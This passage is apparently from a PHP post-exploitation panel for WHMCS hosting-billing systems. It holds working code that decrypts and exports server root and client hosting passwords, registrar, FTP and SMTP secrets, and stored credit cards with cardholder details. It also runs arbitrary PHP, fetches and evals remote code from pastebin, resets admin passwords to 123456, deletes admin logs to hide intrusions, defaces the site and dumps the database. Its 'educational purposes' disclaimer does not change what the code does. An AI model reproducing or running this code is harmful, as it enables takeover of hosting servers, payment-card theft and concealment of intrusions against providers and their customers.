ENCbVlXTmxQU2RXWlhKa1lXNWhKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRblBrTnZkV3hrSUc1dmRDQmtaV3hsZEdVZ1ptbHNaU0U4TDJadmJuUStJanNOQ24wTkNtVnNjMlVOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJR1J2WlhNZ2JtOTBJR1Y0YVhOMElUd3ZabTl1ZEQ0aU93MEtmUTBLWld4elpTQnBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKVFlYWmxJaWtOQ25zTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCemRISnBjSE5zWVhOb1pYTW9hSFJ0YkY5bGJuUnBkSGxmWkdWamIyUmxLQ1JmVUU5VFZGc2lZMjl1ZEdWdWRITWlYU2twT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuVnViR2x1YXlna1ptbHNaVzVoYldVcE93MEtKR2hoYm1Sc1pTQTlJR1p2Y0dWdUtDUm1hV3hsYm1GdFpTd2dJbmNpS1RzTkNtbG1LQ0VrYUdGdVpHeGxLUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCdmNHVnVJR1pwYkdVZ1ptOXlJSGR5YVhSbElHRmpZMlZ6Y3lFZ1BDOW1iMjUwUGlJN0RRcGxiSE5sRFFwN0RRcHBaaWdoWm5keWFYUmxLQ1JvWVc1a2JHVXNJQ1JtYVd4bFkyOXVkR1Z1ZEhNcEtRMEtKSE4wWVhSMWN5QTlJQ1J6ZEdGMGRYTXVJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytRMjkxYkdRZ2JtOTBJSGR5YVhSbElIUnZJR1pwYkdVaElDaE5ZWGxpWlNCNWIzVWdaR2xrYmlkMElHVnVkR1Z5SUdGdWVTQjBaWGgwUHlrOEwyWnZiblErSWpzTkNtWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNuME5DaVJtYVd4bFkyOXVkR1Z1ZEhNZ1BTQm9kRzFzWlc1MGFYUnBaWE1vSkdacGJHVmpiMjUwWlc1MGN5azdEUXA5RFFwbGJITmxEUXA3RFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1RtOGdabWxzWlNCc2IyRmtaV1FoUEM5bWIyNTBQaUk3RFFwOURRby9QZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWVd4cFoyNDlJbU5sYm5SbGNpSStQSFJ5UGp4MFpENDhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0krUEhSeVBqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJOFAwVmphRzhnSkhOamNtbHdkRzVoYldVN1B6NGlQZzBLUEdsdWNIVjBJRzVoYldVOUltWnBiR1Z1WVcxbElpQjBlWEJsUFNKMFpYaDBJaUIyWVd4MVpUMGlQRDlGWTJodklDUm1hV3hsYm1GdFpUcy9QaUlnYzJsNlpUMGlOeklpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVDNCbGJpSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkVaV3hsZEdVaVBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBnMEtQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nTVRGd2RDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGlZMjl1ZEdWdWRITWlJR052YkhNOUlqY3dJaUJ5YjNkelBTSXlOU0krRFFvOFAwVmphRzhnSkdacGJHVmpiMjUwWlc1MGN6cy9Qand2ZEdWNGRHRnlaV0UrUEM5bWIyNTBQanhpY2o0TkNqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxOaGRtVWlQZzBLUEdsdWNIVjBJSFI1Y0dVOUluSmxjMlYwSWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZz09Jyk7DQoNCiRmMHAzbiA9IGZvcGVuICgndGVtcGxhdGVzX2MvcmFiM291bi5waHAnLCd3Jyk7DQoNCiR3cml0ICA9IGZ3cml0ZSgkZjBwM24gLCAkYzBkZSk7'));
  1115. {/php}</textarea></fieldset>";
  1116. break;
  1117. case 107:echo"<center><h1>Index</h1><br>";
  1118. if($_POST["action"]=="1"){$tryChaning=mysql_query("update `tblconfiguration` set value='</title>".mysql_real_escape_string(stripslashes(nl2br($_POST["index"])))."<DIV style=\"DISPLAY: none\"><xmp>' where setting='CompanyName'")or die("Erreur SQL !".$sql."<br>".mysql_error());
  1119. if($tryChaning){echo"<p class=\"msg done\">Updated successfully </p>";
  1120. }else{echo("<h3  class=\"tit\"><br>Error</h3>");
  1121. }}echo"<form method=\"POST\" action=\"?p=107\" ><textarea name=\"index\" cols='50' rows='10' ></textarea><br><br><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"action\" value=\"1\"></form>";
  1122. echo"<br><p class='msg info'> To delete index execute this in sql<br>".htmlentities("update `tblconfiguration` set value='xxxxx' where setting='CompanyName'</p>");
  1123. break;
  1124. case 106:echo"<center><h1>Daily Email Backup</h1><br>";
  1125. if($_POST["action"]=="1"){$tryChaning=mysql_query("Update tblconfiguration set value='".$_POST["email"]."' where setting='DailyEmailBackup'")or die("Erreur SQL !".$sql."<br>".mysql_error());
  1126. if($tryChaning){echo("<p class='msg done'>Updated successfully </p>");
  1127. }else{echo("<h3  class=\"tit\"><br>Error</h3>");
  1128. }}$query0=mysql_query("SELECT value from tblconfiguration where setting='DailyEmailBackup'");
  1129. $v0=mysql_fetch_array($query0);
  1130. echo"<table><tr><td><form method=\"POST\" action=\"?p=106\" ><input type=\"text\" size=60 name=\"email\" value=\"".$v0["value"]."\"></td><td><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"action\" value=\"1\"></form></td></tr></table>";
  1131. break;
  1132. case 1:$query=mysql_query("SELECT * FROM tblservers");
  1133. if(!is_array(mysql_fetch_array($query))){echo"<p class=\"msg error\">Nothing Found !</p>";
  1134. }else{echo("<center><h1>H0st r00ts</h1><center><br><br> <br><form action=\"?p=1\" name=\"formw\" method=\"post\">
  1135.  
  1136. <input name=\"export\" type=\"hidden\" value=\"1\">
  1137. <center><input type=\"submit\" name=\"submit2\" class=\"input-submit\" value=\"[Save to TXT file ]\" /></center><br>");
  1138. table("SELECT * FROM tblservers",array("type","active","hostname","ipaddress","username","password","accesshash"));
  1139. }if($_POST["export"]==1){$query=mysql_query("SELECT * FROM tblservers");
  1140. $textr=$textr."
  1141. ######################### HOST ROOTS ###########################
  1142. ";
  1143. while($v=mysql_fetch_array($query)){$ipaddress=$v["ipaddress"];
  1144. $username=$v["username"];
  1145. $type=$v["type"];
  1146. $active=$v["active"];
  1147. $hostname=$v["hostname"];
  1148. $accesshash=$v["accesshash"];
  1149. $password=decrypt($v["password"],$cc_encryption_hash);
  1150. $textr=$textr."Type $type
  1151. ";
  1152. $textr=$textr."Active $active
  1153. ";
  1154. $textr=$textr."Hostname $hostname
  1155. ";
  1156. $textr=$textr."Ip $ipaddress
  1157. ";
  1158. if($accesshash)$textr=$textr."Accesshash $accesshash
  1159. ";
  1160. $textr=$textr."Username $username
  1161. ";
  1162. $textr=$textr."Password $password
  1163. **************************************
  1164. ";
  1165. }$textr=$textr."
  1166. ######################### HOST ROOTS ###########################
  1167. ";
  1168. @ob_end_clean();
  1169. header("Content-length: ".strlen($textr));
  1170. header("Content-type: text/plain");
  1171. header("Content-Disposition: attachment;
  1172.  
  1173.  filename=".$_SERVER["HTTP_HOST"]."-host_R00t.txt");
  1174. echo($textr);
  1175. exit;
  1176. }break;
  1177. case 2:$query=mysql_query("SELECT * FROM tblregistrars");
  1178. if(!is_array(mysql_fetch_array($query))){echo"<p class=\"msg error\">Nothing Found !</p>";
  1179. }else{$i=0;
  1180. $query=mysql_query("SELECT * FROM tblregistrars");
  1181. echo("<center><h1>Domain Reseller</h1> <br><table border='0'>");
  1182. while($v=mysql_fetch_array($query)){if($v["registrar"]<>$last)echo"<TR><Th COLSPAN=2><center>".ucfirst($v["registrar"])."</center></th></TR>";
  1183. $last=$v["registrar"];
  1184. $value=decrypt($v["value"],$cc_encryption_hash);
  1185. if($value==""){$value=0;
  1186. }$password=decrypt($v["password"],$cc_encryption_hash);
  1187. if($i%2==0){$bg="class=\"bg\"";
  1188. }else{$bg="";
  1189. }echo("<tr $bg><td  >  ".$v["setting"]." </td><td>$value</td></tr>");
  1190. $i++;
  1191. }echo"</table><br><br></center>";
  1192. }break;
  1193. case 99:@ob_end_clean();
  1194. actionSql();
  1195. exit;
  1196. break;
  1197. case 100:multiview(100,"tblclients","Clients </h1></center><br><p class='msg info'>Click on id to get all info+Hosting Accounts+Tickets</p><center>","id desc",array("email","companyname","country","firstname","lastname"),array("ID","Companyname","Email","Country","Firstname","lastname"),array("id","companyname","email","country","firstname","lastname"));
  1198. break;
  1199. case 101:echo("<center><h1>Eval PHP</h1><br><br>");
  1200. Echo"<form action='?p=101' method='POST' > <textarea rows='10' name='pp' cols='50'>  </textarea><br /><input type='submit' value='Go' name='go' /></form></html>";
  1201. $cod=$_POST["pp"];
  1202. $send=$_POST["go"];
  1203. if($send){eVaL(stripslashes($cod));
  1204. }break;
  1205. case 102:$ch=@curl_init();
  1206. @curl_setopt($ch,CURLOPT_URL,"http://pastebin.com/download.php?i=feUTTgeL");
  1207. @curl_setopt($ch,CURLOPT_HEADER,0);
  1208. @curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
  1209. @curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  1210. @curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  1211. @curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1;
  1212.  WOW64;
  1213.  rv:12.0) Gecko/20100101 Firefox/12.0");
  1214. $result=@curl_exec($ch);
  1215. @curl_close($ch);
  1216. echo("<h3  class=\"tit\">Info </h3><p class='msg info'>Coded by RAB3OUN <br>
  1217. Mail v.b-4@hotmail.com rab3oun.net@gmail.com<br>
  1218. Blog <a href='http://www.rab3oun.net'>http://www.rab3oun.net</a></p> Curent version is V3 ;
  1219.  ");
  1220. @eval($result);
  1221. echo("<br>
  1222.  <p class='msg warning'>Disclaimer <br> THIS TOOL WAS WRITTEN FOR EDUCATIONAL PURPOSES.
  1223. ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST
  1224. <br> IF YOU DON'T AGREE WITH WHAT I SAID, PLEASE DON'T USE THIS TOOL.
  1225. <br> THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR DAMAGE ARISING WITH THE USE OF THIS TOOL.
  1226. <br> USE IT UNDER YOUR OWN RISK!!!!!! THANKS.</p>
  1227.  
  1228.  <br>
  1229. <center><h3  class=\"tit\">Greets:</h3></center>
  1230. <b>Ahwak2000</b> RENO <br>
  1231.  All Sec4ever TEAM
  1232. ");
  1233. echo"<center><h3 class=\"tit\">Donate ^_^</h3></center>";
  1234. echo"<br> Donate by  Libertyreserve <a href=\"https://sci.libertyreserve.com/en?lr_acc=U0861977&lr_currency=LRUSD\" alt=\"Pay With Liberty Reserve!\"> <img src=\"https://www.libertyreserve.com/downloads/banners/accept.gif\" alt=\"LR\" border=\"0\"/></a>";
  1235. break;
  1236. case 3:multiview(3,"tblhosting","Client R00ts</h1></center><br><p class='msg info'>There is no table dedicated to client root.<br>
  1237.             The Script find in the table where username = vmuserxxx, root , Admin , admin , Administrator , administrator </p><br><center>","domainstatus",array("dedicatedip","ns1","ns2","username","domain"),array("Domain","Dedicatedip","User","Pass","Domainstatus","Client ID","Server ID","Notes"),array("domain","dedicatedip","username","password","domainstatus","userid","server","notes"),1,"(username like 'vmuser%' or  username = 'root' or username = 'Admin' or username = 'admin' or username = 'Administrator' or  username = 'administrator') and ");
  1238. if($_POST["export"]==1){$textr=$textr."
  1239. ######################### Client R00ts ###########################
  1240. ";
  1241. $query=mysql_query("SELECT * FROM tblhosting where  username like 'vmuser%' or username = 'root' or username = 'Admin' or username = 'admin' or username = 'Administrator' or  username = 'administrator' order by domainstatus");
  1242. while($v=mysql_fetch_array($query)){$textr=$textr."
  1243. Domain ".$v["domain"]."
  1244. IP ".$v["dedicatedip"]."
  1245. Username ".$v["username"]."
  1246. Password ".decrypt($v["password"],$cc_encryption_hash)."
  1247. Domainstatus".$v["domainstatus"]."
  1248. ";
  1249. }$textr=$textr."
  1250. ######################### Client R00ts ###########################
  1251. ";
  1252. @ob_end_clean();
  1253. header("Content-length: ".strlen($textr));
  1254. header("Content-type: text/plain");
  1255. header("Content-Disposition: attachment;
  1256.  
  1257.  filename=".$_SERVER["HTTP_HOST"]."-client_R00t.txt");
  1258. echo($textr);
  1259. exit;
  1260. }break;
  1261. case 4:multiview(4,"tblhosting","Clients Hosting Accounts","domainstatus",array("dedicatedip","ns1","ns2","username","domain"),array("Domain","Dedicatedip","User","Pass","Domainstatus","Client ID","Server ID","Notes"),array("domain","dedicatedip","username","password","domainstatus","userid","server","notes"),1);
  1262. if($_POST["export"]=="1"){$text=$text."
  1263. ######################### Client HOST ###########################
  1264. ";
  1265. $query=mysql_query("SELECT * FROM tblhosting where domainstatus='Active'");
  1266. while($v=mysql_fetch_array($query)){if(($v["username"])and($v["password"])){$textr=$textr."
  1267. Domain ".$v["domain"]."
  1268. IP ".$v["dedicatedip"]."
  1269. Username ".$v["username"]."
  1270. Password ".decrypt($v["password"],$cc_encryption_hash)."
  1271. Domainstatus ".$v["domainstatus"]."
  1272. ";
  1273. }}$textr=$textr."
  1274. ######################### Client HOST ###########################
  1275. ";
  1276. @ob_end_clean();
  1277. header("Content-length: ".strlen($textr));
  1278. header("Content-type: text/plain");
  1279. header("Content-Disposition: attachment;
  1280.  
  1281.  filename=".$_SERVER["HTTP_HOST"]."-client_host.txt");
  1282. echo($textr);
  1283. exit;
  1284. }break;
  1285. case 5:$query=mysql_query("SELECT * FROM `tblclients` WHERE cardtype <> '' order by issuenumber desc");
  1286. if(!is_array(mysql_fetch_array($query))){echo"<h1>Clients CC</h1><br><p class=\"msg error\">Nothing Found !</p>";
  1287. }else{$query=mysql_query("SELECT * FROM `tblclients` WHERE cardtype <> '' order by issuenumber desc");
  1288. echo("<table border=1><tr><td>cardtype</td><td>cardnum</td><td>expdate</td><td>issuenumber</td><td>Country</td><td>Firstname</td><td>Lastname</td><td>Address1</td><td>City</td><td>State</td><td>Postcode</td><td>phonenumber</td><td>Email</td></tr>");
  1289. while($v=mysql_fetch_array($query)){$cchash=md5($cc_encryption_hash.$v["0"]);
  1290. $s=mysql_query("select cardtype,AES_DECRYPT(cardnum,'
  1291. {
  1292. $cchash}
  1293. ') as cardnum,AES_DECRYPT(expdate,'
  1294. {
  1295. $cchash}
  1296. ') as expdate,AES_DECRYPT(issuenumber,'
  1297. {
  1298. $cchash}
  1299. ') as issuenumber,AES_DECRYPT(startdate,'
  1300. {
  1301. $cchash}
  1302. ') as startdate,country,email,firstname,lastname,address1,city,state,postcode,phonenumber  FROM `tblclients` where id='".$v["0"]."'  order by country");
  1303. $country=$v["country"];
  1304. $email=$v["email"];
  1305. $firstname=$v["firstname"];
  1306. $lastname=$v["lastname"];
  1307. $address1=$v["address1"];
  1308. $city=$v["city"];
  1309. $state=$v["state"];
  1310. $postcode=$v["postcode"];
  1311. $phonenumber=$v["phonenumber"];
  1312. $v2=mysql_fetch_array($s);
  1313. echo("<tr><td>".$v2[0]."</td><td>".$v2[1]."</td><td>".$v2[2]."</td><td>".$v2[4]."</td><td>$country</td><td> $firstname</td><td>$lastname</td><td>$address1</td><td>$city</td><td>$state</td><td>$postcode</td><td>$phonenumber</td><td>$email</td></tr>");
  1314. }echo("</table>");
  1315. }break;
  1316. case 63:$qq=$_GET["qq"];
  1317. $q=str_replace(" ","%",$_POST["q"]);
  1318. if($qq<>"")$q=$qq;
  1319. if($q=="")$q="%";
  1320. if($qq=="")$qq=$q;
  1321. echo("<center><h1>Clients Tickets</h1><br><br><h3 class=\"tit\" >Search</h3><br><FORM action=\"?p=63\"  method=\"post\">
  1322. <input type=\"text\" name=\"q\" value=\"".$q."\">
  1323. <br>
  1324. <INPUT class=\"input-submit\"  type=\"submit\" value=\"Submit\" name=\"Submit\"> <br>ex: root%pass or  root or 2086
  1325. ");
  1326. if(isset($_GET["page"])){$page=intval($_GET["page"]);
  1327. }else{$page=1;
  1328. }$start_from=($page-1)*100;
  1329. $query=mysql_query(" select id as tid,date FROM tbltickets  where message LIKE '%".$q."%' union SELECT  tid,date FROM `tblticketreplies` where message LIKE '%".$q."%' order by date desc");
  1330. while($vv=@mysql_fetch_array($query)){$list_tid0[]=$vv["tid"];
  1331. }$list_tid=@array_values(array_unique($list_tid0));
  1332. $total_records=count($list_tid);
  1333. if($total_records==0)exit;
  1334. echo("<h3  class=\"tit\">Total Records ".$total_records."</h3><br>");
  1335. $total_pages=ceil($total_records/50);
  1336. echo("<br><table border='0'><tr >");
  1337. echo("<th>Page ".$page." Of ".$total_pages."</th>");
  1338. if($page>1)echo"<th><a href='?p=63&qq=".$qq."&page=".($page-1)."'>Back</a>&nbsp</th>";
  1339. echo"<th><a href='?p=63&qq=".$qq."&page=".$total_pages."'>Latest</a></th>";
  1340. if($page<$total_pages)echo"<th>&nbsp<a href='?p=63&qq=".$qq."&page=".($page+1)."'>Next</a>&nbsp</th>";
  1341. for($i=0;
  1342. $i<=$total_pages;
  1343. $i++){if($i%2==0){$bg2="class=\"bg2\"";
  1344. }else{$bg2="";
  1345. }if($i%20==0)echo"</tr><tr>";
  1346. if($i==0){echo"<td>&nbsp&nbsp</td>";
  1347. }else{if($i==$page){echo"<td $bg2>&nbsp<a href='?p=63&qq=".$qq."&page=".$i."'>(".$i.")</a>&nbsp</td>";
  1348. }else{echo"<td $bg2>&nbsp<a href='?p=63&qq=".$qq."&page=".$i."'>".$i."</a>&nbsp</td>";
  1349. }}}echo("</tr></table>");
  1350. for($i=$start_from;
  1351. $i<($start_from+50);
  1352. $i++){$query1=mysql_query("SELECT * FROM tbltickets  where id='".$list_tid[$i]."'");
  1353. while($v=mysql_fetch_array($query1)){echo("<br><br><h3  class=\"tit\">Ticket ID ".$v["id"]."</h3><br><br>");
  1354. $query2=mysql_query("select * from  tblticketnotes where ticketid='".$v["id"]."'");
  1355. while($v2=mysql_fetch_array($query2)){echo"</center><p class=\"msg info\">Tickets notes:".$v2["message"].".</p><center>";
  1356. }echo("<table border=1><tr><th><table width=100% border=1><th><th>".$v["title"]."</th><th>".$v["date"]."]</th><th>User id <a href='?p=12&id=".$v["userid"]."'><font color=\"#FFF\" >".$v["userid"]."</font></a></th><th>Ticket ID ".$v["id"]."</th></tr></table></th></tr>");
  1357. if($v["attachment"]){echo("<tr><td>".($v["message"])."<br>-----------<br>Attachment<br>".($v["attachment"])."</td></tr>");
  1358. }else{echo("<tr><td>".($v["message"])."</td></tr>");
  1359. }$query2=mysql_query("select * from tblticketreplies where tid='".$v["id"]."'");
  1360. while($v2=mysql_fetch_array($query2)){if($v2["admin"]){echo("<tr class='bg'><td> By ".$v2["admin"]."</td></tr><tr class='bg'><td>".nl2br(str_replace($qq,"<span class='tag'>$qq</span>",$v2["message"]))." <br>-----------<br>Attachment<br>".($v2["attachment"])."</td></tr>");
  1361. }else
  1362. echo("<tr><td> By Client </td></tr><tr><td>".nl2br($v2["message"])." <br>-----------<br>Attachment<br>".nl2br($v2["attachment"])."</td></tr>");
  1363. }echo("</table>");
  1364. }}break;
  1365. case 7:echo("<center><h1>FTP and SMTP password</h1>");
  1366. table("SELECT * FROM tblconfiguration where setting='FTPBackupHostname' or setting='FTPBackupUsername' or  setting='FTPBackupPassword' or  setting='FTPBackupDestination' or  setting='SMTPHost' or  setting='SMTPUsername' or setting='SMTPPassword' or  setting='SMTPPort' or setting='MailType'",array("setting","value"));
  1367. break;
  1368. case 8:switch($_GET["page"]){case"1":echo"<center><h1>File Upload</h1><br><br><form method=\"POST\" action=\"?p=8\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"image\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"upload\"></form>";
  1369. break;
  1370. case"2":echo"<hr><center><h1>Delete Adminlog</h1><br><form method=\"POST\" action=\"?p=8\" ><input type=\"text\" name=\"ip\" value=\"".$_SERVER["REMOTE_ADDR"]."\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"ip\"></form>";
  1371. break;
  1372. case"3":echo"<hr><center><h1>Change Admin Password to 123456</h1><br><form method=\"POST\" action=\"?p=8\" ><h3 class=\"tit\">Admin ID:</h3><input type=\"text\" name=\"idd\" value=\"1\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"cpa\"></form>";
  1373. break;
  1374. case"4":echo"<hr><center><h1>Change Client Password to 123456</h1><br><form method=\"POST\" action=\"?p=8\" ><h3 class=\"tit\">Mail:</h3><input type=\"text\" name=\"mail\" value=\"client@mail.com\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"cpc\"></form>";
  1375. break;
  1376. case"5":echo"<hr><center><h1>Change Client Mail</h1><br><form method=\"POST\" action=\"?p=8\" ><h3 class=\"tit\">Client ID:</h3><input type=\"text\" name=\"id\" value=\"\"><h3 class=\"tit\">Client Mail:</h3><input type=\"text\" name=\"mail\" value=\"\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"ccm\"></form>";
  1377. break;
  1378. case"6":echo("<hr>
  1379. <h1> Decrypt Password</h1>
  1380. <FORM action=\"?p=8\"  method=\"post\">
  1381. <input type=\"hidden\" name=\"f\" value=\"dec\">
  1382. <br>
  1383. <table border=1>
  1384.  
  1385. <tr><td>Password</td><td><input type=\"text\" size=\"30\" name=\"password\" value=\"\"></td></tr>
  1386. <tr><td>cc_encryption_hash</td><td><input type=\"text\" size=\"30\" name=\"cc_encryption_hash\" value=\"\"></td></tr>
  1387.  
  1388. </table>
  1389. <br>
  1390. <INPUT class=\"input-submit\"  type=\"submit\" value=\"Submit\" name=\"Submit\">
  1391. </FORM>
  1392. <hr>");
  1393. break;
  1394. }if($_POST["f"]=="dec"){$password=($_POST["password"]);
  1395. $cc_encryption_hash=($_POST["cc_encryption_hash"]);
  1396. $password=decrypt($password,$cc_encryption_hash);
  1397. echo("<h1>Password is ".$password."</h1>");
  1398. }if($_POST["f"]=="upload"){$filedir="";
  1399. $maxfile="2000000000";
  1400. $userfile_name=$_FILES["image"]["name"];
  1401. $userfile_tmp=$_FILES["image"]["tmp_name"];
  1402. if(isset($_FILES["image"]["name"])){$abod=$filedir.$userfile_name;
  1403. @move_uploaded_file($userfile_tmp,$abod);
  1404. echo"<p class=\"msg done\">Done ==> $userfile_name</p>";
  1405. }}if($_POST["f"]=="ip"){$tryChaning=mysql_query("DELETE FROM tbladminlog where ipaddress='".$_POST["ip"]."'")or die("Erreur SQL !".$sql."<br>".mysql_error());
  1406. $tryChaning=mysql_query("DELETE FROM   tblactivitylog where     ipaddr='".$_POST["ip"]."'")or die("Erreur SQL !".$sql."<br>".mysql_error());
  1407. if($tryChaning){echo("<p class=\"msg done\"><br>Last adminlog successfully deleted</p>");
  1408. }else{echo("<p class=\"msg info\"><br>Deleteing adminlog error</p>");
  1409. }}if($_POST["f"]=="cpa"){$tryChaningInfo=mysql_query("UPDATE tbladmins SET password = 'e10adc3949ba59abbe56e057f20f883e' where id='".$_POST["idd"]."'")or die("Erreur SQL !".$sql."<br>".mysql_error());
  1410. if($tryChaningInfo){echo("<p class=\"msg done\"><br>[+] Changing admin password to 123456</p>");
  1411. }else{echo("<p class=\"msg info\"><br>[-] Changing admin password error</p>");
  1412. exit;
  1413. }}if($_POST["f"]=="cpc"){$tryChaningInfo=mysql_query("UPDATE tblclients SET password = '760d0530440ec45a2c3dc8b38dee8e9a:%ME)v' where email='".$_POST["mail"]."'");
  1414. if($tryChaningInfo){echo("<p class=\"msg done\"><br>[+] Changing client ".$_POST["mail"]." password to 123456</p>");
  1415. }else{echo("<p class=\"msg info\"><br>[-] Changing client password error</p>");
  1416. exit;
  1417. }}if($_POST["f"]=="ccm"){$tryChaningInfo=mysql_query("UPDATE tblclients SET email = '".$_POST["mail"]."' where id='".$_POST["id"]."'");
  1418. if($tryChaningInfo){echo("<p class=\"msg done\"><br>[+] Changing client ".$_POST["id"]." mail to ".$_POST["mail"]."</p>");
  1419. }else{echo("<p class=\"msg info\"><br>[-] Changing client password error</p>");
  1420. exit;
  1421. }}break;
  1422. case 9:foreach($_COOKIE as$name=>$value){setcookie($name,"");
  1423. }echo("<meta http-equiv='refresh' content='1;
  1424. URL=?' />");
  1425. break;
  1426. default:if($_COOKIE["login"]=="1"){echo("<meta http-equiv='refresh' content='1;
  1427. URL=?p=1' />");
  1428. }else{@ob_end_clean();
  1429. login();
  1430. }break;
  1431. case 11:echo"<center><h1>Backup</h1></center><br>";
  1432. $link=mysql_connect($db_host,$db_username,$db_password);
  1433. mysql_select_db($db_name,$link);
  1434. $do=$_POST["action"];
  1435. if($do=="yes"){error_reporting(E_ALL^E_NOTICE);
  1436. @ini_set("memory_limit",32*1024*1024);
  1437. @ini_set("max_execution_time","480");
  1438. $tables=$_POST["tablen"];
  1439. foreach($tables as$table){$query=@mysql_query("SHOW CREATE TABLE ".$table);
  1440. $que=@mysql_fetch_array($query);
  1441. $outta.=$que["Create Table"].";
  1442.  
  1443.  
  1444. ";
  1445. $outta.="
  1446. ";
  1447. $query=mysql_query("select * from ".$table);
  1448. $num_fields=mysql_num_fields($query);
  1449. $numrow=mysql_num_rows($query);
  1450. while($row=mysql_fetch_array($query)){$outta.="INSERT INTO ".$table." VALUES(";
  1451. for($j=0;
  1452. $j<$num_fields;
  1453. $j++){$row[$j]=addslashes($row[$j]);
  1454. $row[$j]=str_replace("
  1455. ","
  1456. ",$row[$j]);
  1457. $row[$j]=str_replace("
  1458. ","",$row[$j]);
  1459. if(isset($row[$j]))$outta.="'$row[$j]'";
  1460. else$outta.="";
  1461. if($j<($num_fields-1))$outta.=", ";
  1462. }$outta.=");
  1463.  
  1464.  
  1465. ";
  1466. }$outta.="
  1467. ";
  1468. }$date=time();
  1469. @ob_end_clean();
  1470. header("Content-length: ".strlen("-- --------WHMCS BACKUP ----------------
  1471.     -- host:".$db_host."
  1472.     -- username:".$db_username."
  1473.     -- password:".$db_password."
  1474.     -- cc_hash:".$_COOKIE["cc_encryption_hash"]."
  1475. -- ------------------------------
  1476. ".$outta));
  1477. header("Content-type: text/plain");
  1478. header("Content-Disposition: attachment;
  1479.  
  1480.  filename=".$_SERVER["HTTP_HOST"]."-$date.sql");
  1481. echo"-- --------WHMCS BACKUP ----------------
  1482.     -- host:".$db_host."
  1483.     -- username:".$db_username."
  1484.     -- password:".$db_password."
  1485.     -- cc_hash:".$_COOKIE["cc_encryption_hash"]."
  1486. -- ------------------------------
  1487. ".$outta;
  1488. }echo"<script language=\"JavaScript\">
  1489.  function checkAll(form)
  1490. {
  1491.   for (var i = 1;
  1492.  i < form.elements.length;
  1493.  i++)
  1494. {
  1495.    eval(\"form.elements[\" + i + \"].checked = form.elements[1].checked\");
  1496.  
  1497.   }
  1498. }
  1499. </script>";
  1500. $tables=@mysql_query("SHOW TABLE STATUS");
  1501. echo"<center><form name=\"formw\" method=\"post\">
  1502.  
  1503. <input name=\"action\" type=\"hidden\" value=\"yes\">
  1504.  
  1505. <table width=\"280\" border=\"1\" align=\"center\" cellpadding=\"4\" cellspacing=\"0\" >
  1506.  
  1507.     <tr>
  1508.  
  1509.       <th align=\"center\" height=\"28\" width=\"35\"><input name=\"tablenall\" type=\"checkbox\" checked=\"checked\" onClick=\"checkAll(this.form)\"/></th>
  1510.  
  1511.       <th align=\"center\" width=\"130\">Tabel Name</th>
  1512.  
  1513.       <th width=\"100\"><div align=\"center\">Size</div></th>
  1514.  
  1515.     </tr>";
  1516. while($table=@mysql_fetch_array($tables)){$size=round($table["Data_length"]/1024,2);
  1517. echo" <tr><td>";
  1518. echo"<input type=\"checkbox\" name=\"tablen[]\" value=\"$table[Name]\" checked=\"checked\" />";
  1519. echo"</td>
  1520.  
  1521.       <td><b>";
  1522. echo$table[Name];
  1523. echo"</b></td>
  1524.  
  1525.       <td><div align=\"center\"> kb <b>";
  1526. echo$size;
  1527. echo"</b></div></td>
  1528.  
  1529.     </tr>";
  1530. }echo"
  1531. </table> <br>
  1532.  
  1533. <center><input type=\"submit\" name=\"submit2\" class=\"input-submit\" value=\"[download backup ]\" /></center>
  1534.  
  1535. </form>";
  1536. break;
